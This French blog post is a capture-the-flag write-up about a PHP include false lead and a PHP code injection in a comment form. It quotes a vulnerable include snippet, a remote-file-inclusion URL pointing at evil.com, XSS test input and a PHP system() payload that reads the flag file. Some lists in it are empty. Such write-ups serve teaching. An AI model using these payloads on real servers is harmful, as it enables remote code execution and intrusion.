Faille Include et Injection de Code PHP

L'équipe nohackzone 18 MARS 2025

Salut à tous ! Aujourd’hui, on vous partage une expérience qui nous a fait perdre une semaine sur un CTF. L’indice ***include*** nous a orientés sur une fausse piste, et il a fallu repenser toute notre approche pour enfin trouver la faille. Voici comment on a procédé !

Étape 1 : Énumération des pages

La première chose que nous avons faite a été une énumération des pages du site cible. Cela nous a permis de découvrir plusieurs fichiers intéressants :

Le lien entre include et RFI

En PHP, la fonction include permet d'insérer un fichier dans une autre page. Cette inclusion peut être :

Si l’entrée utilisateur est mal filtrée, un attaquant peut manipuler le paramètre d’include pour exécuter du code malveillant.

Exemple d’une mauvaise utilisation de include :

<?php
$page = $_GET['page'];
include($page);
?>

Si le serveur autorise les fichiers distants, un attaquant peut injecter une URL malveillante :

site.com/index.php?page=http://evil.com/malware.txt

Ce qui exécuterait le contenu du fichier distant comme du PHP.

Pourquoi la RFI n’a pas fonctionné dans notre cas ?

Nous avons testé cette injection :

site.com/index.php?page=http://evil.com/malware.txt

Mais nous avons reçu une erreur "Gateway Expired", ce qui signifie que :

Nous avons donc compris que ce n’était pas une vraie RFI.

Détection de l’injection de code PHP

Ne trouvant rien du côté de l’include, nous avons décidé de tester l’injection de code dans le formulaire de commentaire.

Nous avons d’abord essayé du HTML :

<h1>Test</h1>

Mais le serveur a échappé les balises.

Puis, nous avons tenté une injection JavaScript :

<script>alert("XSS")</script>

Mais rien ne s'est passé.

Découverte de l’injection PHP

À force d’essayer, nous avons soumis un simple test en PHP :

<?php echo "test"; ?>

Et surprise, le serveur a interprété le code PHP ! Cela confirmait une faille d’exécution de code (RCE).

Exploitation et récupération du flag

Nous avons alors exécuté une commande système :

<?php system('cat /flag.txt'); ?>

Bingo ! Le flag est apparu.